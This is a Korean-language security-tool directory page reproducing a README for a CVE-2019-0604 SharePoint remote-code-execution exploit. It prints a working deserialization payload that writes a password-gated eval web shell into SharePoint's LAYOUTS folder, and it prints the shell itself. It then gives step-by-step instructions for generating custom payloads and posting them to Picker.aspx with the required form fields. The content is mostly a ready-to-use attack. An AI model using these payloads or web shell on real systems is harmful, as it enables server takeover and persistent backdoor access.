Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-0604 — k8gege의 SharePoint RCE 익스플로잇 cve-2019-0604-exp.py 코드를 상세히 설명하고, 자신만의 페이로드를 직접 제작하세요. | Kitploit
도구/GitHubGitHub/boxhg/cve-2019-0604
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

k8gege의 SharePoint RCE 익스플로잇 cve-2019-0604-exp.py 코드를 상세히 설명하고, 자신만의 페이로드를 직접 제작하세요.

저장소 보기
3065년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Image Pyaload Maker

一、k8gege의 cve-2019-0604-exp.py 해설

k8gege의 스크립트 https://github.com/k8gege/CVE-2019-0604

솔직히 k8gege의 py 스크립트는 약간 화려합니다. 수많은 16진수 문자열이 payload1, 2, 3으로 나뉘어져 있어서 좀 나쁘네요.

python 스크립트가 원격으로 post하는 payload는 역직렬화 후 xml 데이터 본체입니다.

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

즉, 원격으로 echo 명령을 실행하여 서버 Sharepoint의 템플릿 layouts 디렉토리에 up.aspx 파일을 작성합니다.

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

K8 비도 전용 UA 한 줄 웹쉘 .asxp가 생성되었습니다. OK, 쉘 획득

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

二、자신의 payload 만들기

자신만의 payload를 만들어 원격으로 명령을 실행하고 싶다면 다음 단계를 따르십시오.

  1. https://github.com/boxhg/CVE-2019-0604/releases 에서 컴파일된 프로그램을 다운로드하고 압축을 풀어 CVE20190604Forms.exe를 실행합니다.

  2. Cmd 텍스트 상자에 명령을 입력하고 "Update XML" 버튼을 클릭하면 명령이 xml로 병합됩니다.

  3. "EncodeEntity"를 클릭하면 프로그램이 xml 문자열을 객체로 직렬화하고 payload를 실행합니다. 직렬화된 문자열은 "payload" 텍스트 상자에 표시됩니다.

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. "__cp...." 이 문자열이 바로 payload입니다. 이를 cve-2019-0604-exp.py에 복사하여 기존 k8의 payload를 수정/교체합니다.

  2. Picker.aspx에 payload를 제출할 때 함께 전송해야 하는 다른 매개변수는 Burp 프록시 도구를 통해 관련 매개변수를 얻은 다음 payload 값을 ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData에 전달합니다.

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. py 스크립트를 실행합니다. 행운을 빕니다!!!

Burp를 사용하여 payload를 전송하는 것이 더 편리합니다.

CVE-2019-0604 관련:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

도구 다운로드